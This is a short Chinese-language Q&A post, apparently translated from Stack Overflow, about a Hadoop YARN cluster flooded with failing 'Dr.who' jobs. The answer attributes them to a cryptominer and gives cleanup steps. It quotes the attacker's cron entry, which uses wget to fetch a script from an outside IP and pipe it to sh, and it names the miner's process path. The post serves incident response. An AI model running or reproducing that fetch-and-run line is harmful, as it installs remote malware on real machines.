hadoop - YARN Dr.who 应用程序尝试 appattempt 失败

Question

我在我的 hadoop 集群中收到此错误消息。有人可以向我解释为什么吗？不知何故，越来越多的 2000 份工作申请被创建并且无缘无故地失败了。

Answer 1

这可能是黑客攻击......有一个加密货币矿工创造了数千个这样的工作岗位。

在每个可疑的节点上检查 cron 作业作为 yarn 并将其删除。

    $ sudo -u yarn crontab -e
*/2 * * * * wget -q -O - http://185.222.210.59/cr.sh | sh > /dev/null 2>&1

然后检查像这样的“java”进程并杀死它。

/var/tmp/java -c /var/tmp/wc.conf

您还应该保护集群的所有传入端口，以防止这种情况再次发生。

也请参阅此处了解更多信息。 https://community.hortonworks.com/questions/191898/hdp-261-virus-crytalminer-drwho.html